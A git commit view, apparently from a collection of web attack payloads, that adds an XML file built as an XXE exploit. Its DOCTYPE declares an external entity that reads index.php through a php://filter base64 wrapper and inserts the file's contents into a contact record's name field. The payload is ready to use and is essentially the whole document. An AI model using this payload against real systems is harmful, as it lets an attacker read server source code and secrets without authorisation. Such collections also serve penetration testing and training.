SSRF URL Scheme + XXE Soap

This commit is contained in:
Swissky
2017-08-07 21:42:14 +02:00
parent 91e3c6906c
commit 9adb81e6d8
3 changed files with 43 additions and 0 deletions

View File

@@ -0,0 +1,10 @@
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
<contact>
<name>Jean &xxe; Dupont</name>
<phone>00 11 22 33 44</phone>
<adress>42 rue du CTF</adress>
<zipcode>75000</zipcode>
<city>Paris</city>
</contact>
</contacts>